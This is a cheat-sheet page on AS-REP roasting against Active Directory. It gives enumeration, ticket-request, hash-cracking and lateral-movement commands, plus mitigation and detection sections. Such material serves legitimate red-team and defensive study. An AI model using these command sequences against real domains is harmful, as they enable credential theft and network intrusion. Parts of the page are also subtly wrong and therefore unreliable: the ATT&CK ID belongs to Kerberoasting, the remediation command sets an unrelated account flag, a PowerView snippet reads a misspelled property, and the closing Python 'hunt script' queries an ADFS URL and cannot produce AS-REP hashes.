High Severity | T1558.003
🔥 ASRep Roasting
🧠 Description
ASRep Roasting is a post-compromise attack technique that targets users with the "Do not require Kerberos preauthentication" setting enabled. Unlike Kerberoasting which requires a valid TGS ticket, ASRep Roasting can be performed without any prior credentials by requesting AS-REP tickets for users.
Why ASRep Roasting Works:
- No Pre-Auth Required: Attacker requests auth for user, DC replies with encrypted session key
- Weak Password Policy: Admins enable this for legacy compatibility
- Offline Cracking: Encrypted blob can be cracked offline
- No Credentials Needed: Can be done anonymously (in some configs)
Attack Flow:
- Enumerate users with "Do not require Kerberos preauthentication" enabled
- Request AS-REP for target users without providing session key
- DC returns encrypted blob (using user's password hash as key)
- Extract encrypted blob and crack offline using hashcat/john
- Use cracked password for further access
🔍 Enumeration
Find ASRep-Roastable Users (PowerView):
# Find users with DONT_REQ_PREAUTH Import-Module .\PowerView.ps1 Get-DomainUser -PreauthNotRequired -Properties distinguishedname # Filter for specific patterns Get-DomainUser -PreauthNotRequired | Select-Object samaccountname, description # Check all users and filter Get-DomainUser -UACFilter DONT_REQ_PREAUTH
Find with LDAP Query:
# Using PowerShell LDAP
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
# Or direct LDAP query
$search = New-Object DirectoryServices.DirectorySearcher
$search.Filter = "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$search.PropertiesToLoad.Add("samaccountname")
$search.FindAll()
Check from Linux:
# Using Impacket's GetNPUsers python3 GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat -outputfile hashes.txt # Or without user list (try common usernames) python3 GetNPUsers.py domain.com/ -request -format hashcat # Check for AS-REP enabled users anonymously python3 GetNPUsers.py domain.com/ -dc-ip 10.10.10.10 -request
💣 Exploitation
Technique 1: Impacket (Linux):
# Request AS-REP tickets python3 GetNPUsers.py corp.com/ -dc-ip 10.10.10.100 -request # Specify user python3 GetNPUsers.py corp.com/ -dc-ip 10.10.10.100 -user username -request # Save in hashcat format python3 GetNPUsers.py corp.com/ -dc-ip 10.10.10.100 -format hashcat -outfile hashes.txt # Save in john format python3 GetNPUsers.py corp.com/ -dc-ip 10.10.10.100 -format john -outfile hashes.txt
Technique 2: Rubeus:
# Roast all AS-REP roastable users .\Rubeus.exe asreproast /format:hashcat # Output to file .\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt # Kerberos-specific format .\Rubeus.exe asreproast /format:krb /outfile:tickets.txt # Roast specific user .\Rubeus.exe asreproast /user:targetuser /domain:corp.com /dc:dc01.corp.com
Technique 3: PowerView:
# Get AS-REP tickets
Import-Module .\PowerView.ps1
# Request tickets for all preauth not required users
Get-DomainUser -PreauthNotRequired | ForEach-Object {
$user = $_.samaccountname
$domain = $_.mangedDomain.name
Get-ASREPHash -UserName $user -Domain $domain
}
# Request for specific user
Get-ASREPHash -UserName "service_account" -Domain "corp.com" -OutputFile asrep.txt
Technique 4: CrackMapExec:
# AS-REP roast module crackmapexec smb 10.10.10.100 -u anonymous -M asreproast # With valid credentials crackmapexec smb 10.10.10.100 -u username -p password -M asreproast
🔓 Cracking Hashes
Hashcat Mode:
# AS-REP Roast uses mode 18200 hashcat -m 18200 -a 0 hashes.txt wordlist.txt # Or with rules hashcat -m 18200 -a 0 hashes.txt wordlist.txt -r rules/best64.rule # Show example hash format $krb5asrep$23$user@domain.com:hash...
John the Ripper:
# Use krb5asrep format john --wordlist=wordlist.txt hashes.txt --format=krb5asrep # Show format john --format=krb5asrep --show hashes.txt
Common Password Patterns:
- Password1, Welcome123, Changeme123
- Season + Year (Summer2023!)
- Company + Year
- Username + 123
- Keyboard patterns (qwerty, asdf)
🚀 Lateral Movement
Use Cracked Password:
# Pass the hash or password # Using SMB psexec.py domain.com/username@target.corp.com password smbexec.py domain.com/username@target.corp.com password # Using WinRM evil-winrm -i target.corp.com -u username -p password # Using CrackMapExec crackmapexec smb 10.10.10.100 -u username -H hash -x "whoami" # Using CrackMapExec with password crackmapexec smb 10.10.10.100 -u username -p password -x "hostname"
Kerberoast from Cracked Account:
# If the cracked account has SPN, you can kerberoast it .\Rubeus.exe kerberoast /user:crackeduser /outfile:service_hashes.txt # Or from Linux python3 GetUserSPNs.py domain.com/username:password -request
💥 Impact
Potential Damage:
- Account Takeover: Gain access to user account
- Privilege Escalation: If account has elevated permissions
- Data Access: Access to file shares, email, etc.
- Persistence: Create new local admins or modify ACLs
- Lateral Movement: Use account to move through network
Why This is Often Missed:
- No credentials needed to start
- Legacy compatibility enabled for some accounts
- No alerts in many SIEMs for AS-REQ without preauth
- Domain controllers allow anonymous AS-REP requests by default
🛡️ Mitigation
✅ Primary Mitigation:
- Disable DONT_REQ_PREAUTH: Enable Kerberos preauthentication for all users
- Strong Passwords: 14+ characters, complex, no common patterns
- Audit Enabled Accounts: Find and remediate accounts with this flag
- Monitor AS-REQ: Alert on AS-REQ without preauth from same source
- Disable Anonymous Enumeration: Restrict anonymous LDAP access
PowerShell Remediation:
# Find all users with DONT_REQ_PREAUTH
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Set-ADUser -PasswordNotRequired:$false
# Or disable preauthentication
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | ForEach-Object {
Set-ADAccountOption -Identity $_.DistinguishedName -DoesNotRequirePreAuth $false
}
# Audit script - find and report
Get-ADUser -Filter * -Properties DoesNotRequirePreAuth |
Where-Object { $_.DoesNotRequirePreAuth -eq $true } |
Select-Object SamAccountName, DistinguishedName |
Export-Csv -Path "asrep_users.csv"
Audit and Monitoring:
# Windows Event ID 4768 - TGT Requested # Check for AS-REQ with rc4_encryption_type (no preauth indicator) # Look for Event ID 4768 where EncryptionType is 0x17 (ARCFOUR-HMAC-MD5) # This indicates preauth was not used # Splunk/Elastic query index=windows EventCode=4768 | eval PreauthRequired=if(EncryptionType=23, "No", "Yes") | stats count by src_user, src_ip, PreauthRequired | where PreauthRequired="No"
🔍 Detection
SIGMA Rule:
title: AS-REP Roasting Detection
id: asrep-roasting
status: experimental
description: Detects AS-REP roasting attempt
logsource:
product: windows
service: authentication
detection:
selection:
EventID: 4768
TicketOptions: '0x40810010'
EncryptionType: 23
condition: selection
level: high
PowerShell Hunting:
# Find AS-REP roastable users in domain
Get-ADUser -Filter * -Properties useraccountcontrol |
Where-Object { $_.useraccountcontrol -band 4194304 } |
Select-Object Name, SamAccountName, Description |
Format-Table -AutoSize
# Alternative LDAP query
$LDAP = New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=domain,DC=com")
$Search = New-Object System.DirectoryServices.DirectorySearcher($LDAP)
$Search.Filter = "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$Search.PropertiesToLoad.Add("samaccountname") | Out-Null
$Search.FindAll() | ForEach-Object { $_.Properties.samaccountname }
🛠️ Tools
- Rubeus: Comprehensive AS-REP roasting and detection
- Impacket (GetNPUsers): Linux-based AS-REP extraction
- PowerView: PowerShell-based enumeration
- CrackMapExec: Network exploitation with AS-REP module
- hashcat: GPU-accelerated hash cracking
- John the Ripper: Open-source hash cracking
Automated Hunt Script:
# Python script for AS-REP roasting
import requests
from requestsKerberos import HTTPNegotiateAuth
target = "dc.corp.com"
domain = "corp.com"
users = open("users.txt").read().splitlines()
for user in users:
resp = requests.get(f"http://{target}/adfs/ls", auth=HTTPNegotiateAuth())
if resp.status_code == 401:
# Check headers for AS-REP hash
pass